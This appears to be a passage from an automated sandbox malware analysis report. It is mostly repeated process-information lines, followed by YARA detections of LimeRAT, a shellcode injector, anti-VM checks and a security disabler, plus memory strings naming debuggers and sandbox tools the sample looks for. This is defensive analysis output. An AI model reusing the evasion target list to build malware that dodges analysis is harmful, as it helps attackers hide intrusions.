        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeProcess information set: NOOPENFILEERRORBOX

        Malware Analysis System Evasion:

        barindex
        Yara detected LimeRATShow sources
        Source: Yara matchFile source: 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected generic Shellcode InjectorShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected AntiVM3Show sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bbe6ede.15.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bbe6ede.24.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bb8fa9d.13.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 00000023.00000003.18299696915.0000015B1AF24000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18299055991.0000015B1A914000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18328153087.0000015B1A914000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18302210268.0000015B1AF24000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18332249196.0000015B1A914000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18309001390.0000015B1AF24000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Windows Security DisablerShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)Show sources
        Source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmpBinary or memory string: HOOKEXPLORER.EXE
        Source: MpSigStub.exe, 00000023.00000003.18338690411.0000015B1A7CB000.00000004.00000001.sdmpBinary or memory string: AUTORUNSC.EXE
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpBinary or memory string: SUPERANTISPYWARE.EXE
        Source: MpSigStub.exe, 00000023.00000003.18287888120.0000015B1BC0A000.00000004.00000001.sdmpBinary or memory string: PEID.EXE
        Source: MpSigStub.exe, 00000023.00000003.18299634028.0000015B1AF1A000.00000004.00000001.sdmpBinary or memory string: APISPY.EXE
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpBinary or memory string: !#BM_COPYRENAMEDINAME_AUTORUNS.EXE
        Source: MpSigStub.exe, 00000023.00000003.18286537046.0000015B1A3C2000.00000004.00000001.sdmpBinary or memory string: FRIDA-WINJECTOR-HELPER-64.EXE
        Source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmpBinary or memory string: API_LOG.DLL
        Source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmpBinary or memory string: WINDBG.EXE
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !E!#BM_COPYRENAMEDONAME_PROCMON.EXE
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpBinary or memory string: !#SLF:AGGR:COPYRENAMED!PROCMON.EXE
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpBinary or memory string: "G!#BM_COPYRENAMEDONAME_AUTORUNS.EXE
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpBinary or memory string: "H!#SLF:AGGR:COPYRENAMED!PROCMON.EXE
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpBinary or memory string: DBGHELP.DLLSBIEDLL.DLL
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpBinary or memory string: OLLYDBGOLLYICEPEDITORLORDPEC32ASMIMPORTREC.EXE
        Source: MpSigStub.exe, 00000023.00000003.18305343223.0000015B1C4E5000.00000004.00000001.sdmpBinary or memory string: FORTITRACER.EXE
        Source: MpSigStub.exe, 00000023.00000003.18334831739.0000015B1A746000.00000004.00000001.sdmpBinary or memory string: &[!#SLF:AGGR:MASQUERADE_AS!AUTORUNSC.EXE
        Source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmpBinary or memory string: C:\PROGRAMDATA\SANDBOXIE\SBIEDLL.DLL
